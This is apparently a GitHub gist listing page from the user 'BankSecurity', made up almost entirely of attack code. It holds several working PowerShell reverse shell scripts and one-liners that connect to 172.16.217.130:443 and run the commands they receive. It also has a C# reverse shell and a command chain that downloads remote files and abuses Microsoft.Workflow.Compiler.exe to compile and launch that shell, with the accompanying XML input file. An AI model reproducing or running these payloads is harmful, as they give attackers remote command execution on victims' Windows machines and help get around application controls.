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Bank_Security BankSecurity

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View Simple_Rev_Shell_3.ps1
function cln{if($c.Connected -eq $true){$c.Close()};
if($p.ExitCode -ne $null){$p.Close()};
exit
};
$c=New-Object System.Net.Sockets.TcpClient;
$c.Connect('172.16.217.130',443);
if($c.Connected -ne $true){cln};
$s=$c.GetStream();
$b=New-Object System.Byte[] $c.ReceiveBufferSize;
$p=New-Object System.Diagnostics.Process;
View Simple_Rev_Shell_2.ps1
$client = New-Object System.Net.Sockets.TCPClient('172.16.217.130',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$result = $sendback + 'PS '+ (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($result);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
View Simple_Rev_Shell.ps1
$socket = new-object System.Net.Sockets.TcpClient("172.16.217.130",443);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("[Bank_Security]> ");
$writer.Flush();
$read = $null;
View oneline_rev_shell_2.txt
$sm=(New-Object Net.Sockets.TCPClient('172.16.217.130',443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
View oneline_rev_shell_1.txt
$client = New-Object System.Net.Sockets.TCPClient('172.16.217.130',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@BankSecurity
BankSecurity / Simple_Rev_Shell.cs
Last active Jul 5, 2020
C# Simple Reverse Shell Code
View Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
@BankSecurity
BankSecurity / PowerShell_Command.txt
Created Oct 1, 2018
Reverse Shell Powershell command Abusing Microsoft.Workflow.Compiler.exe
View PowerShell_Command.txt
64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsof
@BankSecurity
BankSecurity / Rev.Shell
Created Oct 1, 2018
Abuse Microsoft.Workflow.Compiler.exe for compile C# Reverse Shell
View Rev.Shell
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Workflow.Activities;
public class Program : SequentialWorkflowActivity
@BankSecurity
BankSecurity / REV.txt
Created Oct 1, 2018
Microsoft.Workflow.Compiler.exe Abuse for open a live C# Reverse Shell
View REV.txt
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>Rev.Shell</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
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